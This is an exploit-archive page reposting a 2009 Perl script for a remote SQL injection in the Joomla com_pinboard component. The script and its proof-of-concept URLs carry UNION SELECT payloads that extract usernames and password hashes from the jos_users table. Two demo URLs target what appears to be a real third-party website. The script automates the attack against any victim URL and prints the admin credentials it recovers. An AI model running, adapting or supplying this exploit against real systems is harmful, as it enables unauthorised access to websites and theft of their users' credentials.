Home / os / win10

joomlapinboard-sql.txt

Posted on 26 June 2009

#!/usr/bin/perl -w # Joomla Component (com_pinboard) Remote SQL Injection ######################################## #[*] By : Stack #POc #http://site/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48%20union%20select%201,2,3,4,5,6,username,8,9,10%20from%20jos_users-- #http://site/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48%20union%20select%201,2,3,4,5,6,password,8,9,10%20from%20jos_users-- #Demo #http://munimartin.at/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48%20union%20select%201,2,3,4,5,6,username,8,9,10%20from%20jos_users-- #http://munimartin.at/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48%20union%20select%201,2,3,4,5,6,password,8,9,10%20from%20jos_users-- ######################################## system("color 02"); print " ############################################################ "; print " # Joomla Component (com_pinboard) Remote SQL Injection # "; print " # by Stack # "; print " ############################################################ "; use LWP::UserAgent; die "Example: perl $0 http://victim.com/path/ " unless @ARGV; system("color f"); $user="username"; $pass="password"; $tab="jos_users"; $b = LWP::UserAgent->new() or die "Could not initialize browser "; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $host = $ARGV[0] . "/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48+union+select+1,2,3,4,5,6,concat(CHAR(60,117,115,101,114,62),".$user.",CHAR(60,117,115,101,114,62),CHAR(60,112,97,115,115,62),".$pass.",CHAR(60,112,97,115,115,62)),8,9,10+from+".$tab."--"; $res = $b->request(HTTP::Request->new(GET=>$host)); $answer = $res->content; if ($answer =~ /<user>(.*?)<user>/){ print " Brought to you by v4-team.com... "; print " [+] Admin User : $1"; } if ($answer =~/<pass>(.*?)<pass>/){print " [+] Admin Hash : $1 "; print " # Exploit has ben aported user and password hash # ";} else{print " [-] Exploit Failed... ";}

 

TOP

Malware :